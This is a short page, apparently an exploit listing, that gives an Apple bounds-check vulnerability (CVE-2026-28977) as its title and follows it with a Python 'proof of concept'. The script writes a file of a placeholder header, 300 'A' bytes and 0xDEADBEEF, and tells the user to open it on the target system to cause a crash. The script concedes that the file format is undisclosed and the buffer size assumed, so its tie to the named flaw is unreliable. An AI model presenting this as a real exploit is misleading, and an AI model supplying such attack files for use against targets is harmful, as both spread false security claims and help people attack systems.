CVE-2026-28977 Apple多系统边界检查漏洞

import struct # Proof of Concept for CVE-2026-28977 # This script generates a malformed file to trigger the bounds check issue. # Note: The specific file format parser is not disclosed. def generate_malicious_file(filename): with open(filename, 'wb') as f: # Write a simulated header f.write(b'CVE_HEADER') # Write payload designed to exceed buffer bounds # Assuming a vulnerable buffer size of 256 bytes payload = b'A' * 300 # Overflow length f.write(payload) # Add specific offset to trigger the check failure f.write(struct.pack('<I', 0xDEADBEEF)) if __name__ == "__main__": fname = "exploit_cve_2026_28977.bin" generate_malicious_file(fname) print(f"[+] Malicious file '{fname}' generated successfully.") print("[+] Open this file with the vulnerable application on the target OS to trigger the crash.")